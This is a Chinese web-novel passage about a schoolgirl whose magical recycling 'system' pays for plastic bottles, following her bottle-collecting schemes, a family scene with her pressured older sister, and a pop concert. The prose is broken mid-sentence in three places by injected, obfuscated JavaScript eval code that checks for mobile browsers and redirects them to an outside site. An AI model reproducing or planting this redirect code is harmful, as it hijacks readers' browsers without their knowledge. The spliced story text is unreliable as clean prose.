“是哦我怎么把这事忘了，我小姨本来买了好几张票要去看演唱会，结果有两人来不了，小姨就让我找谁有空的可以一起带去参加，我想着我们今天捡瓶子这么累，不如明天放松一下，所以才发信息问你的。” “演唱会离我们很近，当天可以来回，我小姨全程车接车送，完全不耽误后天上课。” “就是不知你爸妈那边肯不肯放人……” 吴琦月本身就喜欢热闹的场面，这下不仅热闹还能捡瓶子升级系统，开心得不得了：“去啊当然要去，演唱会随随便便就能捡几百上千的瓶子呢！” 路过垃圾存放站的人多了起来，时间也在两人无限遐想中到了下午四点，而塑料瓶还散落没收拾，于是吴琦月和苏宁宁两人分工合作，将大垃圾桶叠放起来挡住外面的视线，然后把剩余的塑料瓶分类放好，苏宁宁没有绑定系统，所以她站在门口望风，吴琦月则躲在角落里回收塑料瓶。 垃圾存放站里传来密密麻麻的【检测】【回收】【回收成功】机械音，苏宁宁挡住门口，每当有人注意到声音看过来时，苏宁宁就跺跺脚拍拍墙壁制造声响出来，路人感觉这小姑娘怎么莫名其妙的，就走远了。 系统回收塑料瓶的速度很快，没多久地上外观完好的塑料瓶都消失了，吴琦月查看进度，屏幕上显示新的数据： 右上角显示余额6.99，瓶身标记的数字从473变成689，瓶子下方有几行字，依次是 当前兑换率□□1：0.01 当前回收量□□689/1000 下阶段兑换率□□1：0.1 吴琦月发现瓶子有点磕碰损毁也能被系统回收，也就是说，回收要求并没有她想的那么苛刻。 她把剩下不能回收的塑料瓶踩扁塞进塑料袋里，因为心情不错，手脚麻利迅速装满一个袋子，把袋子绑紧提起来掂了掂，估摸着能去废品回收站换一块钱回来。 因为中午来过，回收站的大叔已经眼熟她们俩了。 “又装了一袋，你们真厉害，怎么找的？”大叔熟练解开袋子，把塑料瓶散落一地开始数数。 “一共137个，我算你1.4元，给。” “谢谢大叔。”吴琦月接过零钱，把钱揣兜里。 两人准备离开时，有个男人拖着两只装满塑料瓶的黑色袋子进来，和她们一样，也是拿塑料瓶换钱。 吴琦月还没走出门口，就听到身后的争论声。 “不是一分钱一个吗，我数的清清楚楚，这里一共两百五十六个塑料瓶，我攒半年了，凭什么只能换两块钱？” 苏宁宁回头一看，眼睛瞬间发光，把吴琦月扯过来：“你看你看，是没踩过的塑料瓶，是一堆金子啊！！” 吴琦月明白苏宁宁的意思，两人折返回来看戏。 “你的塑料瓶都没踩扁，一个个多占地方。呐，要像她俩带来的一样，踩扁装好，你这卖给我，我还要花时间收拾，净给我添堵，能给你两块钱就不错了！” “哪来这么多借口，其他收废品都没你这样乱克扣的，你明显就是欺骗！”男人也不甘示弱，试图挽回损失。 “那你找别的地方卖去吧，我也不差你这点瓶子。” “你！”男人还想争辩，却被吴琦月拉到一旁。 “叔叔，你不如把这些瓶子卖给我们，我们一个塑料瓶算一分钱，两百五十六个塑料瓶，我们给你两块六怎么样？” 男人拉着两大袋塑料瓶好不容易才找到废品站，没想到瓶子回收价格这么低，这就算了，还因为没有踩扁瓶子被克扣，心想着如果吵不过老头就吃点亏换两块钱算了，他可不想再拖着两大袋垃圾回家，然后一个个踩扁，为这几块钱折腾来折腾去真不值。 可刚刚听女孩说愿意一个换一分钱他又犹豫了，男人可不管她们打算拿塑料瓶做什么用途，只想赶紧答应，换到钱就走。 男人把塑料瓶装回袋子，绑好拖到吴琦月跟前，吴琦月从兜里掏两块六给他，男人拿到钱就走，一个眼神都没有给收废品的大叔。 “神气什么呢？她俩处理完还不是卖给我？” 大叔又觉得这俩姑娘有点傻，出两块六买下空塑料瓶还要一个个踩扁，然后在他这里回收再换两块六的零钱，图啥呢，读书读傻了，闲得发慌吗？ “大叔我们先回去踩瓶子了。”吴琦月和苏宁宁憋着笑，快要抑制不住喜悦的心情。 大叔：完咯，这俩是真傻子啊。 “等等，你们如果要踩瓶子的话，我这里还有五六十个塑料瓶，要不要一起拿走？” 苏宁宁雀跃：“免费吗？” “当然不是，一分钱一个。”收废品的大叔心想，你们傻我可清醒着呢：“要不要，要的话我装一起给你们。” 吴琦月恨不得自己上手收拾：“当然要！” 大叔在犄角旮旯里挑出一大袋瓶子，吴琦月从中挑出十来个不符合系统回收规定的瓶子，把剩下的五十八个装好，出六毛钱带走。 “谢谢大叔，大叔再见。” 现在的小年轻真好骗啊。大叔都看乐了：“那什么，你们踩完瓶子记得装好拿回来卖我啊！” 没被压扁的瓶子数量太多不好带走，吴琦月放弃了把瓶子带回垃圾存放站再回收的计划，和苏宁宁两个人就近选了个隐蔽的废弃楼房，苏宁宁守在外面，顺便看着单车。 系统发出的机械音虽然大，但好期间没人经过，吴琦月两手并用，快速回收瓶子，静谧的空间里一直传出“回回回回”的声音，仿佛磁盘卡带一样。 “好了好了，可以进来了！”吴琦月将剩余十几个瓶子装好，招呼苏宁宁过来。 “到哪了升级了吗还差多少个？”苏宁宁小步跑进来，站在吴琦月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880431|159790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旁边看结果。 系统屏幕更新了数据： 右上角显示余额9.98 当前兑换率□□1：0.01 当前回收量□□988/1000 下阶段兑换率□□1：0.1 “还差12个瓶子，天哪，我拿到系统的时候总觉得升级兑换档太难了，根本没敢想能有这么好的进展。”吴琦月激动到眼眶发酸。 “太励志了，有机会的话我一定要把这段经历写进作文里呜呜呜呜……”苏宁宁一边感动要哭，一边不忘升级任务：“就差12个瓶子，我们一边踩单车回去一边找，说不定晚饭前就能升级了。” 吴琦月同意她的计划。 两人把剩余的瓶子带上，在回去的路上只要看到可能放有塑料瓶的地方就停车下来找，结果： 脏垃圾桶里的——系统回收失败，因为太脏； 路边被车碾过的——系统回收失败，因为有损坏； 有符合要求的——拉不下脸被捡垃圾的大爷抢走了； 忙活了半个小时，竟是连一个干净的符合回收标准的塑料瓶都找不到。 气得苏宁宁一个劲儿地摇头：“你家系统真挑食啊。” 吴琦月累到只会点头了。 夕阳西下，天色已晚，再不回家就要被骂了，两人在路口告别，苏宁宁再三叮嘱吴琦月要同步更新系统进度，不许瞒着她。 “还有演唱会的事，别忘了和叔叔阿姨说，晚上回复我。” “包顺利的。”吴琦月比了个“ok”的手势。 确实顺利，回到家之后，吴琦月提出明天要和苏宁宁还有她的小姨一起去看演唱会，李素梅因为先前停掉零花钱还怕小女儿伤心，再加上吴苏两家人认识十几年，没什么不放心的，就同意了。 二姐吴舒文食不语。 除了吴江，他原本不想吴琦月去演唱会的，这一来一回浪费时间还不安全不说，他也不理解几千个人看一个人唱歌到底有趣在哪，纯纯浪费钱的行为，可惜他现在有更烦的事情要处理，就没有出言反对。 吴琦月高兴得不行，饭后主动洗碗，顺便旁敲侧击问妈妈家里有没有塑料瓶。 “有啊，就放在洗碗池下的柜子里，才攒了十几个。” “太好了！”吴琦月激动到把洗洁精泡沫甩到身上：“我明天出门顺便拿去卖了吧！” 末了又补上一句：“我是说苏宁宁家也攒了不少瓶子，我们商量着明天一起拿去卖呢。” 李素梅摇摇头，小女儿一向鬼点子多，也许是停掉零花钱之后开始想办法攒钱了吧，就没再多问。 吴琦月洗完碗，把柜子里的塑料瓶掏出来，一共有十五个，保存完好，一看就是能被系统回收的好瓶子！ 马上就能升级兑换档了！今日之后，每一个塑料瓶都价值倍增！ 吴琦月把这些宝贝瓶子带进房间，想着为了确保安全，明天再回收进系统，可是这种激动人心的时刻怎么可能忍得住呢？ 根本等不及！ 吴江在客厅放着电视，声音开得很大，浴室里有人在洗澡，天时地利人和，这短短几分钟就是升级兑换档的绝佳机会啊！ 吴琦月把房间门反锁，把隔音窗户关上，然后把衣柜里的衣服搬一些出来，自己躲进去，想着这样就不会被发现了。 她先是偷偷回收一个： 【检测到塑料瓶】【进行回收】【回收成功】 【噢，上帝啊，这可真是一个完美的塑料瓶。】 系统音在满是衣服的柜子里响起。 还好，声音不是很大。 吴琦月一鼓作气把剩下的瓶子全部回收，看着屏幕里的数字迅速升高到1000，突然！ 屏幕弹出一长串电子鞭炮，意识到即将发生什么的吴琦月，心提到嗓子眼，急忙把叠好的衣服通通打乱，试图将屏幕埋起来。 接着柜子里传出将近十秒的噼里啪啦鞭炮声，声音震耳欲聋，吴琦月心如死灰。 【恭喜用户升级（1：0.1）兑换档，可喜可贺（鞭炮）】 吴琦月狼狈爬出衣柜，门口响起敲门声。 “吴琦月，你房间里什么动静？” 智障系统，害我不浅！ 5. 第五章 吴舒文洗完澡在房间里做题，说是做题，将一道选择题反反复复看了六遍都没有理解其中意思。 她房间就在妹妹吴琦月房间隔壁，和妹妹房间花花绿绿的布置不同，她的房间里贴了满墙壁的知识点，到处摆着工具书，习题册，卷子，演算纸和笔记本。 种类繁多但摆放整齐，除此之外就是一张书桌，一张床。 连衣柜都没有。 并不是房间小放不下，也不是家里不让买，是她自己要求的，也是为了通过父亲的考验。 父亲在她读初一的时候，曾当着所有人的面说她人长得不好看，但是胜在聪明。 吴舒文记不清当时情绪敏感还爱美的自己是什么表情，周围人听了这番话又是什么表情，只记得当时好多目光聚交在她身上，仿佛真要看清楚这个女孩是不是真的很丑，她像是全身赤条条站在灯光下被随意评判，大脑一片空白，只顾着把头埋得很低，直到听见大家的嘲笑声。 从此之后，她变得话少冷漠，摒弃杂念，一心念书：不玩游戏，不读闲书，不打扮臭美，不贪图享乐……这些都是父亲和老师对她的要求，她都按照命令一样每一项都严格执行。 效果也显而易见，她的确如父亲和老师所期待那样，成为一个成绩优异的孩子，初中时期班级第一，年级第一，然后考进市里最好的高中，继续和一群天之骄子争夺第一，她不敢放松，生怕被落下，生怕自己变得不聪明。 结果这次模拟考发挥失常，被父亲知道了。 她真的一刻都没敢松懈，其实她想解释这次发挥失常是有原因的，但父亲说：“考得不好就是不好，说什么都没用。” 吴舒文支起脑袋发呆，却被一阵响亮的鞭炮声炸到回神。 声音明显从妹妹房间传来的，吴舒文去敲妹妹房间门： “吴琦月，你房间里什么动静？” 妹妹打开门，神色有些慌张：“没事没事，我刚刚放视频的时候声音不小心调太大了，不好意思啊二姐～” 一眼撒谎。吴舒文看到房间里的衣服物品撒了满地，到处乱糟糟的，想要进去看看却被挡住。 原来家里的妹妹都有不能对自己说的小秘密了。 吴舒文有些羡慕她，妹妹恣意成长，外向活泼，从不在意任何人的评价，哪怕父亲在大庭广众之下骂她愚笨不是学习的料，以后的人生肯定完蛋了，她也先一步反驳父亲的话： “哪有？我老师可喜欢我了，说我鬼马机灵，以后会过得很好！” 说完，亲戚们也发出笑声，可吴舒文总觉得，这些笑声是带着赞赏意味的，而妹妹仿佛真的找到一条新的路，得到了特别准许，不需要刻苦学习就能有过得很好的未来。 吴舒文本来被学校那些破事搞得就烦，她一点都不擅长尔虞我诈，而此刻却有想要请教妹妹的想法，想让妹妹分析最近发生的事是不是她有错在先。 “二姐你还有事吗，我得收拾收拾睡了，明天还要看演唱会呢。” 吴舒文话到嘴边又咽下，憋了半天只说：“嗯，路上主意安全，有事要记得联系我们。” “嗯嗯绝对不让你们担心！” 吴琦月目送着二姐回房间，悬在心口的石头终于落地，她把房间门反锁，躲进柜子里看系统升级后的界面： 蓝色屏幕右上角显示余额10.40，屏幕中央依旧是一个大塑料瓶，瓶身标着数字——3，瓶子下方有几行字，依次是 当前兑换率□□1：0.1 当前回收量□□3/10000 下阶段兑换率□□1：1 吴琦月点开右上角余额，选择提现。 吴琦月屏住呼吸。 【用户007003提现10.00】【提现成功】 一张崭新的十元纸币出现在吴琦月手心，吴琦月手抖着拿手机拍照发给苏宁宁： 【系统升级兑换档了！苏宁宁你看，十块钱！】 【十元纸币.jpg】 苏宁宁：【这么快，你找到可以回收的塑料瓶了？】 【庆祝！（烟花）（烟花）（烟花）】 吴琦月：【还有还有，家里同意我去演唱会了，嘻嘻，明天塑料瓶大扫荡！】 苏宁宁：【演唱会大扫荡！】【可是话又说回来，系统回收塑料瓶的声音这么大，你家里没有人发现吗？】 吴琦月一想起那串电子鞭炮就气不打一处来：【愤怒黄豆人】【你可真是料事如神，本来我都很小心了，躲在衣柜里回收的声音其实挺小的，结果系统升级那一刻非得弹出一连串电子鞭炮，声音老大了，差点被二姐发现！】 【还好我糊弄过去了，哼哼～】 苏宁宁：【天哪以后得更加小心，离系统升满级还要很久，绝对不能让人知道了。】【事先声明，你知道的，我嘴超严。】 我肯定放心。吴琦月躺在在床上，翻身，压着被子继续和苏宁宁聊些有的没的，时间很快过去，两人聊天话题又回到了葫芦摆件身上。 苏宁宁：【系统升级之后一个瓶子一毛钱，那我们明天演唱会只要像今天这样回收五百五十多个瓶子就能拿到五十五块了。】 【而且演唱会人这么多，我小姨说有大几千人呢，退场之后满地都是瓶子，还不是随便捡，五百多个，超容易的好吧！】 【明天回家记得把钱提现出来，加上你现攒的钱刚好到一百块，然后我下个月初能拿出两百，就能凑够钱赔一个摆件给李老师。】 【太棒了不用到期末就能实现这个计划！】 吴琦月这才发现还没有给苏宁宁讲系统提现规则，在聊天框手速飞快地打字泼她冷水：【你先别幻想，没这么简单，系统没升级到最高兑换档是不能随意提现的。】 【我们得回收完一万个塑料瓶才能升到最高兑换档，那个时候才能把钱提现出来，能提一千呢。】 吴琦月看着聊天界面一下弹出好多个【啊？】，很快把聊天记录顶上去，可以想象对面的苏宁宁有多崩溃。 苏宁宁：【愤怒黄豆人】【愤怒黄豆人】【怪不得这个系统有这么多差评！！！】< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880432|159790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>终于有人懂我了！吴琦月脸埋在被子里乱拱，两人把系统里里外外骂了一遍，然后计划接下来的“回收塑料瓶大业”。 吴琦月：【商场，公园，爬山都只能周末去，我们平时大部分时间都在学校，体育课后的垃圾桶，校运会都纳入扫荡范围内。】 苏宁宁：【商场公园可以考虑，周末爬山我拒绝，太累了。】【而且现在十一月份，天气转凉这么多，体育课上真的还有人买瓶装水喝吗？】 吴琦月心凉了半截，又心生一计：【不如我们胆子大一点去扫楼吧，我记得班里也有囤塑料瓶的习惯，中午饭后我们一间教室一间教室去问，也能收集到不少。】 苏宁宁：【nonono】【我不行，光是想想那个画面就头皮发麻，害怕，我宁愿去爬山。】 吴琦月：…… 我太难了！！！ 两人接着提出更多可能的计划，但发现多数不好实施还有被家长发现的风险。到头来，只能祈祷明天演唱会能收集到尽可能多的塑料瓶。 第二天吴琦月睡饱起来，吃了早餐收拾要带去演唱会的装备，拿起充满电的手机，带上帽子去苏宁宁家集合。 苏宁宁的小姨叫刘箐，大学毕业出来工作好几年，人长得漂亮有活力，脸上化着精致的妆容，出手大方。吴琦月十分羡慕，这是她幻想过以后成为大人的模样。 午饭后，三个人在苏宁宁卧室化妆打扮，刘箐给两个女孩化了简单的彩妆，然后用荧光笔在衣服上画了画，她说这样天黑了在场馆里比较好认人。 出门前，刘阿姨再三叮嘱刘箐路上车多，注意安全，演唱会结束早点把两个孩子带回来，明天还要回校上课。 “放心吧老姐，一定安全带回来。”刘箐笑着答应，搂着两个女孩下楼去了。 经过半小时车程，三人到了办演唱会的场馆，是一个巨大的露天足球场，这时候离开场还有一段时间，场馆门口人很多。 刘菁说要去接几个朋友，让吴琦月和苏宁宁先四处逛一逛，到时候手机联系。两人绕着场地走了一圈，发现场地四个入口都有保安守着，门口支起很多摊位，有粉丝团体自主派发应援物资，有瓶装水和应援横幅，摊位前放着今日歌手的立牌，是位长相帅气的男人。 “我有卓宇，卓越非凡！”“歌手卓宇！卓越非凡！” 粉丝聚在一起大声喊出应援口号，然后疯狂摇动手拍应援棒，声音此起彼伏，非常热闹。 吴琦月路过被塞了张宣传海报，和苏宁宁品鉴起来： 海报上有一些要演唱的歌曲信息，两人看到其中熟悉的歌名后有些惊讶，原来这些耳熟能详的歌都是卓宇唱的。 除此之外，最吸睛的还是占据海报大半的图片，那是摄像机捕捉歌手卓宇在炫酷灯光下沉醉歌唱的瞬间，白色的衬衣被汗水浸湿，紧紧贴在身上，侧脸露出的耳麦处摇摇欲坠一滴水珠，没被遮住的手臂和脖颈青筋凸出，画面虽是定格的可看起来仿佛会动一样。 吴琦月和苏宁宁相视一笑，同时发出“哇——”一声赞叹。 6. 第六章 都是情窦初开的年纪，两人对着海报犯花痴。 没多久，苏宁宁接到刘菁的电话，说快要进场了，让她们到场馆北门口会合。 刘菁身边跟着三个打扮时髦的漂亮姐姐，她们看到吴琦月两人快步走来，手里还拿着海报，就问是不是也喜欢卓宇。 “这里好几首歌我们都听过，就是没想到原来是他唱的。” “哪几首？”“哎不用问肯定是上过榜的那几首，《信仰》、《无名花》、《黎明前的信》，人多的商业街都经常放呢。” 吴琦月点头如捣蒜。 “是吧，很好猜的。”“妹妹我给你们推荐卓宇的新歌，也超级好听，叫《幻想爱情》——”“喂喂人家这个年纪还早吧你别把人教坏了。”“少来了，谁还不是从高中生过来的，那会儿大家上语文课还敢偷偷默写爱情歌词，是吧刘菁，高中你可是跟我一个班的！” 刘菁回应一个短头发姐姐：“对呀，我记得当时有个男同学上课默写歌词被语文老师抓包了，老师让他站起来把写的歌词念一遍，结果他念着念着唱出来哈哈哈哈……” 几个人听完笑作一团，纷纷开始忆往昔岁月，队伍缓慢前进着。 两个保安拿着金属探测仪在入口检查背包，如果探测仪发出响声就示意打开背包进行检查，队伍突然停滞不前，吴琦月踮起脚看到保安在一个观众的背包里摸来摸去，然后依次掏出开瓶器，打火机和一瓶没开封的酒。 保安很无语：“胆子挺大，你要在场内表演喷火？”“这些违禁品我们没收了。” 被收走物品的观众拦住保安就开始狡辩：“酒是我顺路在商店里买的怎么不能带进去？谁说我会喝的，我保证不会在场内开封，演唱会结束之后我还要带回家，快还给我！” 然后这位奇葩又觉得自己势单力薄于是一边护着自己的物品，一边回头朝后面不明真相的群众大喊：“保安他冤枉我！他找茬不让我进去，他故意耗你们时间啊！” 入口处另一位保安觉得情况不对，拿起对讲机描述了现场状况，让派几位同事过来支援。 小小骚乱一时吸引了不少人的目光，因为等待的时间太久，大家都小声抱怨起来。 保安吹哨，上前大声制止他：“你乱讲什么话，我看你就是故意来演唱会捣乱的，演唱会明令禁止带酒精打火机入场，我们讲话已经很客气了，你又是打火机又是酒瓶，真以为我们不知道你想做什么吗？” 双方僵持没多久，那位观众自觉理亏，想要逃走，结果被赶来支援的安保人员控制住带走。 那人被身强力壮的保安夹着走，如同过街老鼠一样，嘴里还不忘吐出污言秽语，排队的歌迷们听他骂到卓宇才反应过来，这应该是卓宇的黑粉，如果不是保安及时发现，真让他进了场内都不知道会有什么严重的后果，太吓人了。 于是排队的歌迷们不再抱怨，耐心等候入场。 很快轮到吴琦月她们安检，金属探测仪扫背包的时候响了，保安示意她打开背包检查，看到里边有钥匙，一部手机，一瓶水，还有两大团塑料袋。 吴琦月主动讲明这是没开封的矿泉水，保安又问她带这么大的塑料袋做什么用，她眼珠一转，回答：“演唱会结束之后，我要把周围人的垃圾一起带走，给保洁阿姨减轻负担。” 保安听完只是略有疑惑，但也没说什么，让她进去了。 吴琦月跟随人流到达二楼看台，她扶着栏杆将场内巡视一遍，发现这个地方比她想象的还要大，看台有三层，每层十二个区，而中心是个大足球场，舞台布置华丽，占了足球场四分之一的空间，舞台前有很多工作人员守着围栏，音响声音很大，吴琦月站在这都能感觉到地板在震动。 苏宁宁拉着吴琦月去找位置，门票上显示座位是看台307区，显而易见就在山顶。 “山顶怎么了，卓宇的演唱会一票难求，不喜欢下次不带你们出来了。”刘菁看苏宁宁脸上略有嫌弃的表情，有些不高兴。 “没有没有，没有嫌弃，我就是爬楼梯爬累了。”苏宁宁收起嫌弃接着找补：“卓宇哥哥这么高的人气，我想来演唱会都来不了，还不是托小姨您的福嘛～” “就是，我好不容易抢到的票，居然还有人敢不来，明明之前都计划好的要一起看演唱会。”刘菁开始吐槽没来的朋友，其余的姐姐们也纷纷附和。 吴琦月倒觉得没什么，除了爬楼梯有点麻烦之外，山顶也有山顶的好，能将演唱会内场的风景尽收眼底，比如现在，她能看到看台的观众们几乎人手一只水瓶，而看台下还有人支起小摊卖瓶装水。 五元一瓶，真奸商。 吴琦月啧啧几声，把苏宁宁从吐槽聊天群里拉出来，两人估计场内塑料瓶总量。 “九千人的演唱会，散场之后有五千个塑料瓶不过分吧。” 苏宁宁点点头，开始出主意要怎么在散场之后收集最多的塑料瓶。 “散场的时候我们去扫看台的瓶子，然后你找个角落回收，我负责望风，我俩打配合，半个小时起码能来回四次，回收八袋塑料瓶，除去无效的，保底算八百个。” 吴琦月却说：“我们不要一个一个捡，提着塑料袋收集的速度太慢了，扫看台的时候我们把瓶子都扔到同一个地方，再装起来，这样半小时能来回五次，起码回收一千个。” 两人越想越有动力，特别是有人在眼皮底下开始丢塑料瓶的时候简直要站起来了。 “现在还早，不如我们先收集一些，然后找一个适合系统回收的地点。”吴琦月从包里拿出来塑料袋，分给苏宁宁一个。 “你俩干什么去？”刘菁就坐在苏宁宁旁边，现场音响声很大，她只听见两人说“散场”“收集”，然后看到她们站起来不知做什么，有点不放心。 毕竟她们还要靠刘菁开车回家，苏宁宁也不好隐瞒，就除去系统回收的部分编造出一个理由来，希望小姨在演唱会散场之后多等她们半小时，她们要收集一些塑料瓶用于学校布置的课外作业。 “不行！演唱会散场马上就要回家，先不说明天你们还要上课吧，刚刚安检发生的事情这么快忘记了？散场之后这里太不安全了，还逗留半个小时，五分钟都不允许！苏宁宁你听见没有？” 吴琦月不好说话，苏宁宁见状马上小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880433|159790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姨小姨的撒娇说软话，祈求多宽限她们一点时间，但刘菁态度坚决，说什么都不同意。 就这样，两人原本完美的计划直接作废，特别是看到看台上陆续有保洁阿姨清理塑料瓶之后心情更是跌落谷底。 “完蛋了，散场后不能逗留，就只能趁着休息换衣服的十几分钟借机会离开去收集塑料瓶了。”吴琦月手指搓着塑料袋，只想出这一个办法。 苏宁宁噘着嘴：“小姨也是为了我们安全考虑，是我们把这件事想得太简单了。” “趁现在还有点时间，我们去找安全的回收点吧。” 两人借口去上厕所，刘菁当然一眼看穿这个谎言，但只要散场之后她们肯乖乖跟她回家，现在就睁一只眼闭一只眼，随她们去了：“现场音响声音这么大，你俩手机记得调成震动，我们短信联系，别走丢了。” 吴琦月和苏宁宁两人点头答应，然后往看台下走，直到视野里看不到刘菁才放松下来。 “话说，你小姨真信我们说的话吗？捡瓶子做课外作业这种理由亏你想得出来。”吴琦月顺手捡起一个塑料瓶：“听说大人一下就能分辨出小孩子有没有撒谎。” 苏宁宁想了想，说：“别人不知道，反正我妈分辨不出来，因为我说什么她都信。” 夜幕降临，舞台屏幕亮起，开始播放卓宇个人宣传视频，歌迷们兴奋得站起来，摇动发光的应援棒大喊口号，现场人声鼎沸，吴琦月和苏宁宁怕被挤散，手拉着手一前一后走着。 走到看台一层的时候，两人手里各拿了五六个塑料瓶，但这样收集的速度实在是太慢了。 吴琦月胆子大，走到人多的地方把塑料袋抖开就开始喊：“你们喝完不要的瓶子都往我这里扔啊，别乱丢地上！” 别说，这还挺有效果，有些观众听到这话就像机器执行指令一样，左看右看，然后把塑料瓶扔到袋子里去。 袋子里哗啦啦投进来十几个塑料瓶，吴琦月眼见着有戏，如法炮制，依次在每个人多的地方喊着收塑料瓶，两个塑料袋很快装满。 接着就是找安全的回收地点，看台一层背后有很大的空间，除了正在大排长队的洗手间，还有保安室杂物间等等，保安室有人在休息，杂物间里空间大但是上锁了进不去。两人提着塑料袋转了一圈，发现这里根本没有死角，到处都是人。 新的问题来了，回收系统不能被发现，看台区不适合回收优先排除，可是后台也找不到隐蔽的地方，那怎么办？ 还没等吴琦月想出办法，两人就被保洁阿姨叫住。 “我看你们好久了，你们袋子里装的是塑料瓶吗？” 苏宁宁把塑料袋藏在身后：“我们是看阿姨你们一个个去捡，太累了，所以想主动帮忙收拾呢。” 吴琦月附和：“是啊，我们捡完瓶子也不知道放哪里，路过这里看到有杂物间但是上锁了，想放进去来着。” 保洁阿姨有些诧异：“你们歌迷也太好心了，谢谢你们，只是我们一般都把垃圾收集好，放在一堆，然后等演唱会结束再分类收拾的。” “不过你们来都来了，捡来的瓶子就都拿给我吧。” 7. 第七章 “这不好吧？”苏宁宁用肩膀撞吴琦月，让她想办法脱身。 吴琦月当然不想把辛苦收集的塑料瓶就这么拱手相让：“其实我们收集这些瓶子有别的用处。” 苏宁宁疯狂点头：“对对，所以不能给您。” 吴琦月一本正经解释：“我们要拿这些瓶子做学校布置的课外作业。” 苏宁宁：…… “我懂，是废瓶子回收改造吧，我家孩子也有这种课外作业，说实话太累人了，这做手工还不如写作业靠谱呢，再说考试也不考这些啊，你们评评理，学校那些老师是不是太不负责……”保洁阿姨像打开话匣子般，和她们吐槽这些课外作业不合理的地方，说到激动的时候还会询问吴琦月她俩的看法，两人只管点头同意，给足阿姨情绪价值。 “先不说这些，我看演唱会快开始了，看台上到处都是人，你们提着大塑料袋也不好行动。这样吧，你们要是信得过我就把这些瓶子放保安室里，我先替你们保管，等演唱会退场再拿走，怎么样？” “真的吗，这样会不会太麻烦您了？”吴琦月正愁没地方存放瓶子，她看保洁阿姨不像骗人的样子，就把两大袋塑料瓶交出去。 “不麻烦，你们还需要大的塑料袋吗，我这里有，可结实了，尽管拿去用。” “当然要！您真的太好心了，谢谢阿姨！”保洁阿姨的贴心出乎两人的想象，苏宁宁对她都有些愧疚感。 “哎不用谢，你们跟我来。”保洁阿姨推着清扫推车带路到保安室，她打开门，和保安室里的熟人打招呼，说明缘由，然后把两大袋塑料瓶放在角落里。 “放心吧，不会丢的。”出了保安室，保洁阿姨从推车下方掏出几个崭新的塑料袋，这些塑料袋可比她们自己带的厚多了，吴琦月双手接过，和苏宁宁再次感谢阿姨。 回到307区，演唱会正式开始。 舞台灯光骤然变暗，有个男人拿着红色斗篷和凳子走上舞台中央，接着灯光慢慢移动，直到全部集中在他身上。台下的观众没见过他，纷纷交头接耳询问这人的来历。 男人把凳子放在跟前，把斗篷展开不停抖动，然后小心踩上凳子，斗篷打开后把他脖子以下的地方遮得严严实实，在大家期待的目光中，男人把斗篷往上一抛。随着斗篷落下，卓宇出现在大家视野里，而原来的男人和凳子消失不见，只留下满天飘落的细碎彩带。 接着全场尖叫起来，音浪高到盖过音响。 “天哪天哪这场演唱会居然还有魔术可以看！”“没来的亏死了吧。”“卓宇这个出场太帅了！”“好帅好帅，爱死他了！”“卧槽他衬衫还露腰欸刘菁你快看！”“啊啊啊啊啊卓宇——” 舞台上的卓宇很懂热场，他从口袋捏出来一点彩带用力往台下观众席扔去，毫不意外让尖叫声高了一个调。 场内尖叫声持续了近三十秒，等声音降下来，卓宇才举起话筒向歌迷问好。 “谢谢大家不远万里来参加我的演唱会，这次开场表演是我精心设计的，实在不好意思，因为各种不可抗力的因素，开场时间比预计晚了一点，但是我在舞台后面妆造的时候一直有听见你们大声的应援，我心里很感动也很激动，谢谢你们耐心的等待，也希望可以和大家一起开开心心度过今晚的时光！” 不愧是歌手，说话声音很好听很迷人，卓宇说完开场词，接着对每一个区的歌迷打招呼，歌迷们把手拍应援棒摇出残影，兴奋得不行。 熟悉的音乐渐渐响起，舞台涌进十几个伴舞，歌迷们也主动跟着节奏摇晃着应援棒，吴琦月几人坐在看台上，摇晃着身体慢慢沉醉其中。 一首接一首，不知是不是体力不足的缘故，卓宇突然唱错了歌词，然后有几句还唱跑调了。 但是架不住歌迷热情沉醉，没人质疑。 在后面的演唱中，卓宇走位频频失误，舞伴的手还打在一起，失误很显眼，坐在山顶的位置都看得清。舞台频繁出错，吴琦月听得走神，索性用胳膊杵苏宁宁，示意打开手机短信对话。 苏宁宁也不在状态，今日卓宇的演唱水准有些让她失望。 两人有意避开卓宇的话题，开始商量接下来的行动。 吴琦月：【这首歌结束之后有十五分钟休息时间，我们准备准备下去收瓶子。】 苏宁宁：【然后继续放在保安室里吗？】 吴琦月：【当然。保安室靠近舞台，音响声音大到可以遮住系统回收音，如果没人在还能趁机把瓶子全回收掉。】 对话间卓宇唱完最后一首歌，他似乎有些累了，和观众说半场休息，之后的舞台更精彩，接着他摘下耳机，在工作人员簇拥下走向舞台后方搭建的帐篷里。舞台屏幕刷新，循环播放卓宇筹办演唱会的记录视频。 